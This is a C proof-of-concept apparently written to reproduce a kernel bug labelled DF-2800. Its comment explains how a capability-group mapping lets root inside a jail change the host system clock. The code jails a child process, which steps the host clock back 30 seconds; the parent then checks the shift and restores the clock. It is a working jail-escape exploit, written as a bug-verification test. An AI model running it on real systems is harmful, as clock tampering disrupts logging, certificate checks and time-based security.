DF-2800 / jailsettime.c
/* * DF-2800 โ jailed root can set the HOST system clock. * * sys_settimeofday()/sys_clock_settime()/sys_adjtime()/sys_ntp_adjtime() * gate on caps_priv_check_self(SYSCAP_NOSETTIME) (kern_time.c:287,661,753, * kern_ntptime.c:304). caps_priv_check() rewrites the cap to its group * meta value (kern_caps.c:330-338): SYSCAP_NOSETTIME (__SYSCAP_GROUP_2|8) * becomes 2 == SYSCAP_SENSITIVEROOT numerically, and prison_priv_check() * returns 0 (allow) for the whole meta group 2 (kern_jail.c:858-861) and * again explicitly for SYSCAP_NOSETTIME (kern_jail.c:891-892). * * This PoC: root forks a child; the child jail(2)s itself (v1, no IPs, * path /tmp โ a perfectly ordinary jail) and then steps the clock BACK 30 * seconds. The (host-root) parent then checks the host clock. * * success criterion: "REPRODUCED: host clock moved BACKWARD" โ the jailed * process (uid 0 in jail, no host privileges) changed the host clock. * On a fixed kernel: settimeofday returns EPERM, clock unchanged. */ #include <sys/param.h> #include <sys/jail.h> #include <sys/time.h> #include <sys/syscall.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> int main(void) { struct timeval t1, t2; if (getuid() != 0) { printf("must run as root\n"); return (2); } gettimeofday(&t1, NULL); printf("[host ] before : %lld.%06ld\n", (long long)t1.tv_sec, (long)t1.tv_usec); printf("[host ] host jid/hostname before: "); fflush(stdout); system("sysctl -n kern.jail.list 2>/dev/null | wc -l"); pid_t pid = fork(); if (pid == 0) { struct jail j; int jid; memset(&j, 0, sizeof(j)); j.version = 1; j.path = "/tmp"; j.hostname = "df2800"; j.n_ips = 0; j.ips = NULL; jid = syscall(SYS_jail, &j); if (jid < 0) { printf("[jail ] jail() failed: %s\n", strerror(errno)); _exit(9); } printf("[jail ] jailed, jid=%d, uid in jail=%d\n", jid, getuid()); fflush(stdout); /* step the HOST clock 30 s into the past from inside the jail */ struct timeval tv = t1; tv.tv_sec -= 30; if (settimeofday(&tv, NULL) < 0) { printf("[jail ] settimeofday: FAILED: %s\n", strerror(errno)); fflush(stdout); _exit(1); } printf("[jail ] settimeofday: OK (stepped clock -30s)\n"); fflush(stdout); _exit(0); } int st = 0; waitpid(pid, &st, 0); sleep(2); gettimeofday(&t2, NULL); printf("[host ] after : %lld.%06ld\n", (long long)t2.tv_sec, (long)t2.tv_usec); long delta = (long long)t1.tv_sec - (long long)t2.tv_sec; if (delta > 25) { printf("REPRODUCED: host clock moved BACKWARD ~%ld seconds " "by jailed root\n", delta); /* restore host clock (+2s margin) */ struct timeval tv = t1; tv.tv_sec += 2; settimeofday(&tv, NULL); gettimeofday(&t2, NULL); printf("[host ] restored : %lld\n", (long long)t2.tv_sec); return (1); } printf("NOT-REPRODUCED: host clock unchanged (delta=%ld)\n", delta); return (0); } |